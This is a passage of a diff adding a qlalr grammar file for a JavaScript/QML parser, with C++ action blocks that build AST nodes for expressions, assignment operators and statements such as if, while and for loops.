+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+CallExpression: CallExpression T_LPAREN ArgumentListOpt T_RPAREN ;
+/.
+case $rule_number: {
+ AST::CallExpression *node = makeAstNode<AST::CallExpression> (driver->nodePool(), sym(1).Expression, sym(3).ArgumentList);
+ node->lparenToken = loc(2);
+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+CallExpression: CallExpression T_LBRACKET Expression T_RBRACKET ;
+/.
+case $rule_number: {
+ AST::ArrayMemberExpression *node = makeAstNode<AST::ArrayMemberExpression> (driver->nodePool(), sym(1).Expression, sym(3).Expression);
+ node->lbracketToken = loc(2);
+ node->rbracketToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+CallExpression: CallExpression T_DOT PropertyIdentifier ;
+/.
+case $rule_number: {
+ AST::FieldMemberExpression *node = makeAstNode<AST::FieldMemberExpression> (driver->nodePool(), sym(1).Expression, sym(3).sval);
+ node->dotToken = loc(2);
+ node->identifierToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+ArgumentListOpt: ;
+/.
+case $rule_number: {
+ sym(1).Node = 0;
+} break;
+./
+
+ArgumentListOpt: ArgumentList ;
+/.
+case $rule_number: {
+ sym(1).Node = sym(1).ArgumentList->finish();
+} break;
+./
+
+ArgumentList: AssignmentExpression ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::ArgumentList> (driver->nodePool(), sym(1).Expression);
+} break;
+./
+
+ArgumentList: ArgumentList T_COMMA AssignmentExpression ;
+/.
+case $rule_number: {
+ AST::ArgumentList *node = makeAstNode<AST::ArgumentList> (driver->nodePool(), sym(1).ArgumentList, sym(3).Expression);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+LeftHandSideExpression: NewExpression ;
+LeftHandSideExpression: CallExpression ;
+PostfixExpression: LeftHandSideExpression ;
+
+PostfixExpression: LeftHandSideExpression T_PLUS_PLUS ;
+/.
+case $rule_number: {
+ AST::PostIncrementExpression *node = makeAstNode<AST::PostIncrementExpression> (driver->nodePool(), sym(1).Expression);
+ node->incrementToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+PostfixExpression: LeftHandSideExpression T_MINUS_MINUS ;
+/.
+case $rule_number: {
+ AST::PostDecrementExpression *node = makeAstNode<AST::PostDecrementExpression> (driver->nodePool(), sym(1).Expression);
+ node->decrementToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+UnaryExpression: PostfixExpression ;
+
+UnaryExpression: T_DELETE UnaryExpression ;
+/.
+case $rule_number: {
+ AST::DeleteExpression *node = makeAstNode<AST::DeleteExpression> (driver->nodePool(), sym(2).Expression);
+ node->deleteToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+UnaryExpression: T_VOID UnaryExpression ;
+/.
+case $rule_number: {
+ AST::VoidExpression *node = makeAstNode<AST::VoidExpression> (driver->nodePool(), sym(2).Expression);
+ node->voidToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+UnaryExpression: T_TYPEOF UnaryExpression ;
+/.
+case $rule_number: {
+ AST::TypeOfExpression *node = makeAstNode<AST::TypeOfExpression> (driver->nodePool(), sym(2).Expression);
+ node->typeofToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+UnaryExpression: T_PLUS_PLUS UnaryExpression ;
+/.
+case $rule_number: {
+ AST::PreIncrementExpression *node = makeAstNode<AST::PreIncrementExpression> (driver->nodePool(), sym(2).Expression);
+ node->incrementToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+UnaryExpression: T_MINUS_MINUS UnaryExpression ;
+/.
+case $rule_number: {
+ AST::PreDecrementExpression *node = makeAstNode<AST::PreDecrementExpression> (driver->nodePool(), sym(2).Expression);
+ node->decrementToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+UnaryExpression: T_PLUS UnaryExpression ;
+/.
+case $rule_number: {
+ AST::UnaryPlusExpression *node = makeAstNode<AST::UnaryPlusExpression> (driver->nodePool(), sym(2).Expression);
+ node->plusToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+UnaryExpression: T_MINUS UnaryExpression ;
+/.
+case $rule_number: {
+ AST::UnaryMinusExpression *node = makeAstNode<AST::UnaryMinusExpression> (driver->nodePool(), sym(2).Expression);
+ node->minusToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+UnaryExpression: T_TILDE UnaryExpression ;
+/.
+case $rule_number: {
+ AST::TildeExpression *node = makeAstNode<AST::TildeExpression> (driver->nodePool(), sym(2).Expression);
+ node->tildeToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+UnaryExpression: T_NOT UnaryExpression ;
+/.
+case $rule_number: {
+ AST::NotExpression *node = makeAstNode<AST::NotExpression> (driver->nodePool(), sym(2).Expression);
+ node->notToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+MultiplicativeExpression: UnaryExpression ;
+
+MultiplicativeExpression: MultiplicativeExpression T_STAR UnaryExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Mul, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+MultiplicativeExpression: MultiplicativeExpression T_DIVIDE_ UnaryExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Div, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+MultiplicativeExpression: MultiplicativeExpression T_REMAINDER UnaryExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Mod, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+AdditiveExpression: MultiplicativeExpression ;
+
+AdditiveExpression: AdditiveExpression T_PLUS MultiplicativeExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Add, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+AdditiveExpression: AdditiveExpression T_MINUS MultiplicativeExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Sub, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+ShiftExpression: AdditiveExpression ;
+
+ShiftExpression: ShiftExpression T_LT_LT AdditiveExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::LShift, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+ShiftExpression: ShiftExpression T_GT_GT AdditiveExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::RShift, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+ShiftExpression: ShiftExpression T_GT_GT_GT AdditiveExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::URShift, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+RelationalExpression: ShiftExpression ;
+
+RelationalExpression: RelationalExpression T_LT ShiftExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Lt, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+RelationalExpression: RelationalExpression T_GT ShiftExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Gt, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+RelationalExpression: RelationalExpression T_LE ShiftExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Le, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+RelationalExpression: RelationalExpression T_GE ShiftExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Ge, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+RelationalExpression: RelationalExpression T_INSTANCEOF ShiftExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::InstanceOf, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+RelationalExpression: RelationalExpression T_IN ShiftExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::In, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+RelationalExpressionNotIn: ShiftExpression ;
+
+RelationalExpressionNotIn: RelationalExpressionNotIn T_LT ShiftExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Lt, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+RelationalExpressionNotIn: RelationalExpressionNotIn T_GT ShiftExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Gt, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+RelationalExpressionNotIn: RelationalExpressionNotIn T_LE ShiftExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Le, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+RelationalExpressionNotIn: RelationalExpressionNotIn T_GE ShiftExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Ge, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+RelationalExpressionNotIn: RelationalExpressionNotIn T_INSTANCEOF ShiftExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::InstanceOf, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+EqualityExpression: RelationalExpression ;
+
+EqualityExpression: EqualityExpression T_EQ_EQ RelationalExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Equal, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+EqualityExpression: EqualityExpression T_NOT_EQ RelationalExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::NotEqual, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+EqualityExpression: EqualityExpression T_EQ_EQ_EQ RelationalExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::StrictEqual, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+EqualityExpression: EqualityExpression T_NOT_EQ_EQ RelationalExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::StrictNotEqual, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+EqualityExpressionNotIn: RelationalExpressionNotIn ;
+
+EqualityExpressionNotIn: EqualityExpressionNotIn T_EQ_EQ RelationalExpressionNotIn ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Equal, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+EqualityExpressionNotIn: EqualityExpressionNotIn T_NOT_EQ RelationalExpressionNotIn;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::NotEqual, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+EqualityExpressionNotIn: EqualityExpressionNotIn T_EQ_EQ_EQ RelationalExpressionNotIn ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::StrictEqual, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+EqualityExpressionNotIn: EqualityExpressionNotIn T_NOT_EQ_EQ RelationalExpressionNotIn ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::StrictNotEqual, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+BitwiseANDExpression: EqualityExpression ;
+
+BitwiseANDExpression: BitwiseANDExpression T_AND EqualityExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::BitAnd, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+BitwiseANDExpressionNotIn: EqualityExpressionNotIn ;
+
+BitwiseANDExpressionNotIn: BitwiseANDExpressionNotIn T_AND EqualityExpressionNotIn ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::BitAnd, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+BitwiseXORExpression: BitwiseANDExpression ;
+
+BitwiseXORExpression: BitwiseXORExpression T_XOR BitwiseANDExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::BitXor, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+BitwiseXORExpressionNotIn: BitwiseANDExpressionNotIn ;
+
+BitwiseXORExpressionNotIn: BitwiseXORExpressionNotIn T_XOR BitwiseANDExpressionNotIn ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::BitXor, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+BitwiseORExpression: BitwiseXORExpression ;
+
+BitwiseORExpression: BitwiseORExpression T_OR BitwiseXORExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::BitOr, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+BitwiseORExpressionNotIn: BitwiseXORExpressionNotIn ;
+
+BitwiseORExpressionNotIn: BitwiseORExpressionNotIn T_OR BitwiseXORExpressionNotIn ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::BitOr, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+LogicalANDExpression: BitwiseORExpression ;
+
+LogicalANDExpression: LogicalANDExpression T_AND_AND BitwiseORExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::And, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+LogicalANDExpressionNotIn: BitwiseORExpressionNotIn ;
+
+LogicalANDExpressionNotIn: LogicalANDExpressionNotIn T_AND_AND BitwiseORExpressionNotIn ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::And, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+LogicalORExpression: LogicalANDExpression ;
+
+LogicalORExpression: LogicalORExpression T_OR_OR LogicalANDExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Or, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+LogicalORExpressionNotIn: LogicalANDExpressionNotIn ;
+
+LogicalORExpressionNotIn: LogicalORExpressionNotIn T_OR_OR LogicalANDExpressionNotIn ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Or, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+ConditionalExpression: LogicalORExpression ;
+
+ConditionalExpression: LogicalORExpression T_QUESTION AssignmentExpression T_COLON AssignmentExpression ;
+/.
+case $rule_number: {
+ AST::ConditionalExpression *node = makeAstNode<AST::ConditionalExpression> (driver->nodePool(), sym(1).Expression,
+ sym(3).Expression, sym(5).Expression);
+ node->questionToken = loc(2);
+ node->colonToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+ConditionalExpressionNotIn: LogicalORExpressionNotIn ;
+
+ConditionalExpressionNotIn: LogicalORExpressionNotIn T_QUESTION AssignmentExpressionNotIn T_COLON AssignmentExpressionNotIn ;
+/.
+case $rule_number: {
+ AST::ConditionalExpression *node = makeAstNode<AST::ConditionalExpression> (driver->nodePool(), sym(1).Expression,
+ sym(3).Expression, sym(5).Expression);
+ node->questionToken = loc(2);
+ node->colonToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+AssignmentExpression: ConditionalExpression ;
+
+AssignmentExpression: LeftHandSideExpression AssignmentOperator AssignmentExpression ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ sym(2).ival, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+AssignmentExpressionNotIn: ConditionalExpressionNotIn ;
+
+AssignmentExpressionNotIn: LeftHandSideExpression AssignmentOperator AssignmentExpressionNotIn ;
+/.
+case $rule_number: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ sym(2).ival, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+AssignmentOperator: T_EQ ;
+/.
+case $rule_number: {
+ sym(1).ival = QSOperator::Assign;
+} break;
+./
+
+AssignmentOperator: T_STAR_EQ ;
+/.
+case $rule_number: {
+ sym(1).ival = QSOperator::InplaceMul;
+} break;
+./
+
+AssignmentOperator: T_DIVIDE_EQ ;
+/.
+case $rule_number: {
+ sym(1).ival = QSOperator::InplaceDiv;
+} break;
+./
+
+AssignmentOperator: T_REMAINDER_EQ ;
+/.
+case $rule_number: {
+ sym(1).ival = QSOperator::InplaceMod;
+} break;
+./
+
+AssignmentOperator: T_PLUS_EQ ;
+/.
+case $rule_number: {
+ sym(1).ival = QSOperator::InplaceAdd;
+} break;
+./
+
+AssignmentOperator: T_MINUS_EQ ;
+/.
+case $rule_number: {
+ sym(1).ival = QSOperator::InplaceSub;
+} break;
+./
+
+AssignmentOperator: T_LT_LT_EQ ;
+/.
+case $rule_number: {
+ sym(1).ival = QSOperator::InplaceLeftShift;
+} break;
+./
+
+AssignmentOperator: T_GT_GT_EQ ;
+/.
+case $rule_number: {
+ sym(1).ival = QSOperator::InplaceRightShift;
+} break;
+./
+
+AssignmentOperator: T_GT_GT_GT_EQ ;
+/.
+case $rule_number: {
+ sym(1).ival = QSOperator::InplaceURightShift;
+} break;
+./
+
+AssignmentOperator: T_AND_EQ ;
+/.
+case $rule_number: {
+ sym(1).ival = QSOperator::InplaceAnd;
+} break;
+./
+
+AssignmentOperator: T_XOR_EQ ;
+/.
+case $rule_number: {
+ sym(1).ival = QSOperator::InplaceXor;
+} break;
+./
+
+AssignmentOperator: T_OR_EQ ;
+/.
+case $rule_number: {
+ sym(1).ival = QSOperator::InplaceOr;
+} break;
+./
+
+Expression: AssignmentExpression ;
+
+Expression: Expression T_COMMA AssignmentExpression ;
+/.
+case $rule_number: {
+ AST::Expression *node = makeAstNode<AST::Expression> (driver->nodePool(), sym(1).Expression, sym(3).Expression);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+ExpressionOpt: ;
+/.
+case $rule_number: {
+ sym(1).Node = 0;
+} break;
+./
+
+ExpressionOpt: Expression ;
+
+ExpressionNotIn: AssignmentExpressionNotIn ;
+
+ExpressionNotIn: ExpressionNotIn T_COMMA AssignmentExpressionNotIn ;
+/.
+case $rule_number: {
+ AST::Expression *node = makeAstNode<AST::Expression> (driver->nodePool(), sym(1).Expression, sym(3).Expression);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+ExpressionNotInOpt: ;
+/.
+case $rule_number: {
+ sym(1).Node = 0;
+} break;
+./
+
+ExpressionNotInOpt: ExpressionNotIn ;
+
+Statement: Block ;
+Statement: VariableStatement ;
+Statement: EmptyStatement ;
+Statement: ExpressionStatement ;
+Statement: IfStatement ;
+Statement: IterationStatement ;
+Statement: ContinueStatement ;
+Statement: BreakStatement ;
+Statement: ReturnStatement ;
+Statement: WithStatement ;
+Statement: LabelledStatement ;
+Statement: SwitchStatement ;
+Statement: ThrowStatement ;
+Statement: TryStatement ;
+Statement: DebuggerStatement ;
+
+
+Block: T_LBRACE StatementListOpt T_RBRACE ;
+/.
+case $rule_number: {
+ AST::Block *node = makeAstNode<AST::Block> (driver->nodePool(), sym(2).StatementList);
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+StatementList: Statement ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::StatementList> (driver->nodePool(), sym(1).Statement);
+} break;
+./
+
+StatementList: StatementList Statement ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::StatementList> (driver->nodePool(), sym(1).StatementList, sym(2).Statement);
+} break;
+./
+
+StatementListOpt: ;
+/.
+case $rule_number: {
+ sym(1).Node = 0;
+} break;
+./
+
+StatementListOpt: StatementList ;
+/.
+case $rule_number: {
+ sym(1).Node = sym(1).StatementList->finish ();
+} break;
+./
+
+VariableStatement: VariableDeclarationKind VariableDeclarationList T_AUTOMATIC_SEMICOLON ; -- automatic semicolon
+VariableStatement: VariableDeclarationKind VariableDeclarationList T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::VariableStatement *node = makeAstNode<AST::VariableStatement> (driver->nodePool(),
+ sym(2).VariableDeclarationList->finish (/*readOnly=*/sym(1).ival == T_CONST));
+ node->declarationKindToken = loc(1);
+ node->semicolonToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+VariableDeclarationKind: T_CONST ;
+/.
+case $rule_number: {
+ sym(1).ival = T_CONST;
+} break;
+./
+
+VariableDeclarationKind: T_VAR ;
+/.
+case $rule_number: {
+ sym(1).ival = T_VAR;
+} break;
+./
+
+VariableDeclarationList: VariableDeclaration ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::VariableDeclarationList> (driver->nodePool(), sym(1).VariableDeclaration);
+} break;
+./
+
+VariableDeclarationList: VariableDeclarationList T_COMMA VariableDeclaration ;
+/.
+case $rule_number: {
+ AST::VariableDeclarationList *node = makeAstNode<AST::VariableDeclarationList> (driver->nodePool(),
+ sym(1).VariableDeclarationList, sym(3).VariableDeclaration);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+VariableDeclarationListNotIn: VariableDeclarationNotIn ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::VariableDeclarationList> (driver->nodePool(), sym(1).VariableDeclaration);
+} break;
+./
+
+VariableDeclarationListNotIn: VariableDeclarationListNotIn T_COMMA VariableDeclarationNotIn ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::VariableDeclarationList> (driver->nodePool(), sym(1).VariableDeclarationList, sym(3).VariableDeclaration);
+} break;
+./
+
+VariableDeclaration: JsIdentifier InitialiserOpt ;
+/.
+case $rule_number: {
+ AST::VariableDeclaration *node = makeAstNode<AST::VariableDeclaration> (driver->nodePool(), sym(1).sval, sym(2).Expression);
+ node->identifierToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+VariableDeclarationNotIn: JsIdentifier InitialiserNotInOpt ;
+/.
+case $rule_number: {
+ AST::VariableDeclaration *node = makeAstNode<AST::VariableDeclaration> (driver->nodePool(), sym(1).sval, sym(2).Expression);
+ node->identifierToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+Initialiser: T_EQ AssignmentExpression ;
+/.
+case $rule_number: {
+ // ### TODO: AST for initializer
+ sym(1) = sym(2);
+} break;
+./
+
+InitialiserOpt: ;
+/.
+case $rule_number: {
+ sym(1).Node = 0;
+} break;
+./
+
+InitialiserOpt: Initialiser ;
+
+InitialiserNotIn: T_EQ AssignmentExpressionNotIn ;
+/.
+case $rule_number: {
+ // ### TODO: AST for initializer
+ sym(1) = sym(2);
+} break;
+./
+
+InitialiserNotInOpt: ;
+/.
+case $rule_number: {
+ sym(1).Node = 0;
+} break;
+./
+
+InitialiserNotInOpt: InitialiserNotIn ;
+
+EmptyStatement: T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::EmptyStatement *node = makeAstNode<AST::EmptyStatement> (driver->nodePool());
+ node->semicolonToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+ExpressionStatement: Expression T_AUTOMATIC_SEMICOLON ; -- automatic semicolon
+ExpressionStatement: Expression T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::ExpressionStatement *node = makeAstNode<AST::ExpressionStatement> (driver->nodePool(), sym(1).Expression);
+ node->semicolonToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+IfStatement: T_IF T_LPAREN Expression T_RPAREN Statement T_ELSE Statement ;
+/.
+case $rule_number: {
+ AST::IfStatement *node = makeAstNode<AST::IfStatement> (driver->nodePool(), sym(3).Expression, sym(5).Statement, sym(7).Statement);
+ node->ifToken = loc(1);
+ node->lparenToken = loc(2);
+ node->rparenToken = loc(4);
+ node->elseToken = loc(5);
+ sym(1).Node = node;
+} break;
+./
+
+IfStatement: T_IF T_LPAREN Expression T_RPAREN Statement ;
+/.
+case $rule_number: {
+ AST::IfStatement *node = makeAstNode<AST::IfStatement> (driver->nodePool(), sym(3).Expression, sym(5).Statement);
+ node->ifToken = loc(1);
+ node->lparenToken = loc(2);
+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+
+IterationStatement: T_DO Statement T_WHILE T_LPAREN Expression T_RPAREN T_AUTOMATIC_SEMICOLON ; -- automatic semicolon
+IterationStatement: T_DO Statement T_WHILE T_LPAREN Expression T_RPAREN T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::DoWhileStatement *node = makeAstNode<AST::DoWhileStatement> (driver->nodePool(), sym(2).Statement, sym(5).Expression);
+ node->doToken = loc(1);
+ node->whileToken = loc(3);
+ node->lparenToken = loc(4);
+ node->rparenToken = loc(6);
+ node->semicolonToken = loc(7);
+ sym(1).Node = node;
+} break;
+./
+
+IterationStatement: T_WHILE T_LPAREN Expression T_RPAREN Statement ;
+/.
+case $rule_number: {
+ AST::WhileStatement *node = makeAstNode<AST::WhileStatement> (driver->nodePool(), sym(3).Expression, sym(5).Statement);
+ node->whileToken = loc(1);
+ node->lparenToken = loc(2);
+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+IterationStatement: T_FOR T_LPAREN ExpressionNotInOpt T_SEMICOLON ExpressionOpt T_SEMICOLON ExpressionOpt T_RPAREN Statement ;
+/.
+case $rule_number: {
+ AST::ForStatement *node = makeAstNode<AST::ForStatement> (driver->nodePool(), sym(3).Expression,
+ sym(5).Expression, sym(7).Expression, sym(9).Statement);
+ node->forToken = loc(1);
+ node->lparenToken = loc(2);
+ node->firstSemicolonToken = loc(4);
+ node->secondSemicolonToken = loc(6);
+ node->rparenToken = loc(8);
+ sym(1).Node = node;
+} break;
+./
+
